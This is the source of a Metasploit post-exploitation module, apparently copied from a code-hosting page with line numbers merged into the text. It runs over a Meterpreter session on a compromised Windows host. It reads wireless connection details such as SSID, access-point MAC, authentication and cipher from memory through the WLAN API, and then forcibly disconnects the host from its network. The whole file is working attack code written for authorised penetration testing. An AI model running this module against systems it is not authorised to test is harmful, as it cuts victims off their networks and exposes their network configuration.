Path: blob/master/modules/post/windows/wlan/wlan_disconnect.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Disconnect Wireless Connection',13'Description' => %q{14This module disconnects the current wireless network connection15on the specified interface.16},17'License' => MSF_LICENSE,18'Author' => ['theLightCosine'],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Compat' => {22'Meterpreter' => {23'Commands' => %w[24stdapi_railgun_api25stdapi_sys_process_attach26stdapi_sys_process_getpid27]28}29},30'Notes' => {31'Stability' => [CRASH_SERVICE_DOWN],32'SideEffects' => [],33'Reliability' => []34}35)36)3738register_options([39OptInt.new('Interface', [true, 'The Index of the Interface to Disconnect. Leave at 0 if only one IF', 0])40])41end4243def run44# Opens memory access into the host process45mypid = client.sys.process.getpid46@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)47@wlanapi = client.railgun.wlanapi4849wlan_handle = open_handle50unless wlan_handle51print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")52print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')53return54end55wlan_iflist = enum_interfaces(wlan_handle)56if wlan_iflist[datastore['Interface']]57connect_info = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])58if connect_info59guid = guid_to_string(wlan_iflist[datastore['Interface']]['guid'])60wlan_connection = "Wireless LAN Active Connection:\n"61wlan_connection << "GUID: #{guid} \nDescription: #{wlan_iflist[datastore['Interface']]['description']} \nState: #{wlan_iflist[datastore['Interface']]['state']}\n"62wlan_connection << "Currently Connected to: \n"63wlan_connection << "\tMode: #{connect_info['mode']} \n\tProfile: #{connect_info['profile']} \n"64wlan_connection << "\tSSID: #{connect_info['ssid']} \n\tAP MAC: #{connect_info['bssid']} \n"65wlan_connection << "\tBSS Type: #{connect_info['type']} \n\tPhysical Type: #{connect_info['physical']} \n"66wlan_connection << "\tSignal Strength: #{connect_info['signal']} \n\tRX Rate: #{connect_info['rxrate']} \n"67wlan_connection << "\tTX Rate: #{connect_info['txrate']} \n\tSecurity Enabled: #{connect_info['security']} \n"68wlan_connection << "\toneX Enabled: #{connect_info['oneX']} \n\tAuthentication Algorithm: #{connect_info['auth']} \n"69wlan_connection << "\tCipher Algorithm: #{connect_info['cipher']} \n"70print_status(wlan_connection)7172print_status('Disconnecting...')73@wlanapi.WlanDisconnect(wlan_handle, wlan_iflist[datastore['Interface']]['guid'], nil)74sleep(10)7576connected = query_current_connection(wlan_handle, wlan_iflist[datastore['Interface']]['guid'])77if connected78print_error('The Interface still appears to be connected.')79closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)80if closehandle['return'] == 081print_status('WlanAPI Handle Closed Successfully')82else83print_error('There was an error closing the Handle')84end85return86else87print_good('The Interface has been disconnected successfully')88end89else90print_error('This Interface is not currently connected to a network.')91closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)92if closehandle['return'] == 093print_status('WlanAPI Handle Closed Successfully')94else95print_error('There was an error closing the Handle')96end97return98end99else100print_error('The Supplied Interface Index is Invalid')101closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)102if closehandle['return'] == 0103print_status('WlanAPI Handle Closed Successfully')104else105print_error('There was an error closing the Handle')106end107return108end109110# close the Wlan API Handle111closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)112if closehandle['return'] == 0113print_status('WlanAPI Handle Closed Successfully')114else115print_error('There was an error closing the Handle')116end117end118119def open_handle120begin121wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)122rescue StandardError123return nil124end125return wlhandle['phClientHandle']126end127128def query_current_connection(wlan_handle, guid)129connection = {}130conn_info = @wlanapi.WlanQueryInterface(wlan_handle, guid, 7, nil, 4, 4, nil)131132# Grab the pointer to our data structure. We skip voer the Interface State since we already have it133# We interpret the connection mode used first134pointer = conn_info['ppData']135pointer = (pointer + 4)136mode = @host_process.memory.read(pointer, 4)137mode = mode.unpack('V')[0]138case mode139when 0140connection['mode'] = 'A profile is used to make the connection.'141when 1142connection['mode'] = 'A temporary profile is used to make the connection.'143when 2144connection['mode'] = 'Secure discovery is used to make the connection.'145when 3146connection['mode'] = 'Unsecure discovery is used to make the connection.'147when 4148connection['mode'] = 'connection initiated by wireless service automatically using a persistent profile.'149when 5150connection['mode'] = 'Invalid connection mode.'151else152connection['state'] = 'Unknown connection Mode.'153end154155# Grab the wirelessprofile name used in the connection156pointer = (pointer + 4)157profile = @host_process.memory.read(pointer, 512)158connection['profile'] = profile.gsub(/\x00/, '')159160# Check the size of the SSID value. If we get nothing back, the interface is not currently connected161# We return nil and deal with the results back in the calling function162pointer = (pointer + 512)163len_ssid = @host_process.memory.read(pointer, 4)164unless len_ssid.unpack('V')[0]165return nil166end167168# Grabs the SSID of the BSS connected to169pointer = (pointer + 4)170ssid = @host_process.memory.read(pointer, 32)171connection['ssid'] = ssid.gsub(/\x00/, '')172173# Grabs what type of a BSS this is and itnerpretes it into human readable174pointer = (pointer + 32)175bsstype = @host_process.memory.read(pointer, 4)176bsstype = bsstype.unpack('V')[0]177case bsstype178when 1179connection['type'] = 'Infrastructure'180when 2181connection['type'] = 'Independent'182when 3183connection['type'] = 'Any'184else185connection['type'] = 'Unknown BSS Type'186end187188# Grabs the BSS MAC address189pointer = (pointer + 4)190bssid = @host_process.memory.read(pointer, 6)191bssid = bssid.unpack('H*')[0]192bssid.insert(2, ':')193bssid.insert(5, ':')194bssid.insert(8, ':')195bssid.insert(11, ':')196bssid.insert(14, ':')197connection['bssid'] = bssid198199# Grabs the physical association type and interprets it into human readable200pointer = (pointer + 8)201phy_type = @host_process.memory.read(pointer, 4)202phy_type = phy_type.unpack('V')[0]203case phy_type204when 1205connection['physical'] = 'Frequency-hopping spread-spectrum (FHSS)'206when 2207connection['physical'] = 'Direct sequence spread spectrum (DSSS)'208when 3209connection['physical'] = 'Infrared (IR) baseband'210when 4211connection['physical'] = 'Orthogonal frequency division multiplexing (OFDM)'212when 5213connection['physical'] = 'High-rate DSSS (HRDSSS)'214when 6215connection['physical'] = 'Extended rate PHY type'216when 7217connection['physical'] = '802.11n PHY type'218else219connection['physical'] = 'Unknown Association Type'220end221222# Grabs the signal strength value223pointer = (pointer + 8)224signal = @host_process.memory.read(pointer, 4)225connection['signal'] = signal.unpack('V')[0]226227# Grabs the receive rate value228pointer = (pointer + 4)229rxrate = @host_process.memory.read(pointer, 4)230connection['rxrate'] = rxrate.unpack('V')[0]231232# Grabs the transmit rate value233pointer = (pointer + 4)234txrate = @host_process.memory.read(pointer, 4)235connection['txrate'] = txrate.unpack('V')[0]236237# Checks if security is enabled on this BSS238pointer = (pointer + 4)239security_enabled = @host_process.memory.read(pointer, 4)240if security_enabled.unpack('V')[0] == 1241connection['security'] = 'Yes'242else243connection['security'] = 'No'244end245246# Checks of 802.1x Authentication is used247pointer = (pointer + 4)248onex = @host_process.memory.read(pointer, 4)249if onex.unpack('V')[0] == 1250connection['oneX'] = 'Yes'251else252connection['oneX'] = 'No'253end254255# Determines wat Authentication Algorithm is being used256pointer = (pointer + 4)257algo = @host_process.memory.read(pointer, 4)258algo = algo.unpack('V')[0]259case algo260when 1261connection['auth'] = '802.11 Open'262when 2263connection['auth'] = '802.11 Shared'264when 3265connection['auth'] = 'WPA'266when 4267connection['auth'] = 'WPA-PSK'268when 5269connection['auth'] = 'WPA-None'270when 6271connection['auth'] = 'RSNA'272when 7273connection['auth'] = 'RSNA with PSK'274else275connection['auth'] = 'Unknown Algorithm'276end277278# Determines what Cipher is being used279pointer = (pointer + 4)280cipher = @host_process.memory.read(pointer, 4)281cipher = cipher.unpack('V')[0]282case cipher283when 0284connection['cipher'] = 'None'285when 1286connection['cipher'] = 'WEP-40'287when 2288connection['cipher'] = 'TKIP'289when 4290connection['cipher'] = 'CCMP'291when 5292connection['cipher'] = 'WEP-104'293when 256294connection['cipher'] = 'Use Group Key'295when 257296connection['cipher'] = 'WEP'297else298connection['cipher'] = 'Unknown Cipher'299end300return connection301end302303def enum_interfaces(wlan_handle)304iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)305pointer = iflist['ppInterfaceList']306307numifs = @host_process.memory.read(pointer, 4)308numifs = numifs.unpack('V')[0]309interfaces = []310311# Set the pointer ahead to the first element in the array312pointer = (pointer + 8)313(1..numifs).each do |_i|314interface = {}315# Read the GUID (16 bytes)316interface['guid'] = @host_process.memory.read(pointer, 16)317pointer = (pointer + 16)318# Read the description(up to 512 bytes)319interface['description'] = @host_process.memory.read(pointer, 512)320pointer = (pointer + 512)321# Read the state of the interface (4 bytes)322state = @host_process.memory.read(pointer, 4)323pointer = (pointer + 4)324325# Turn the state into human readable form326state = state.unpack('V')[0]327case state328when 0329interface['state'] = 'The interface is not ready to operate.'330when 1331interface['state'] = 'The interface is connected to a network.'332when 2333interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'334when 3335interface['state'] = 'The interface is disconnecting from the current network.'336when 4337interface['state'] = 'The interface is not connected to any network.'338when 5339interface['state'] = 'The interface is attempting to associate with a network.'340when 6341interface['state'] = 'Auto configuration is discovering the settings for the network.'342when 7343interface['state'] = 'The interface is in the process of authenticating.'344else345interface['state'] = 'Unknown State'346end347interfaces << interface348end349return interfaces350end351352# Convert the GUID to human readable form353def guid_to_string(guid)354aguid = guid.unpack('H*')[0]355sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]356sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]357sguid << '-' + aguid[20, 12] + '}'358return sguid359end360end361362363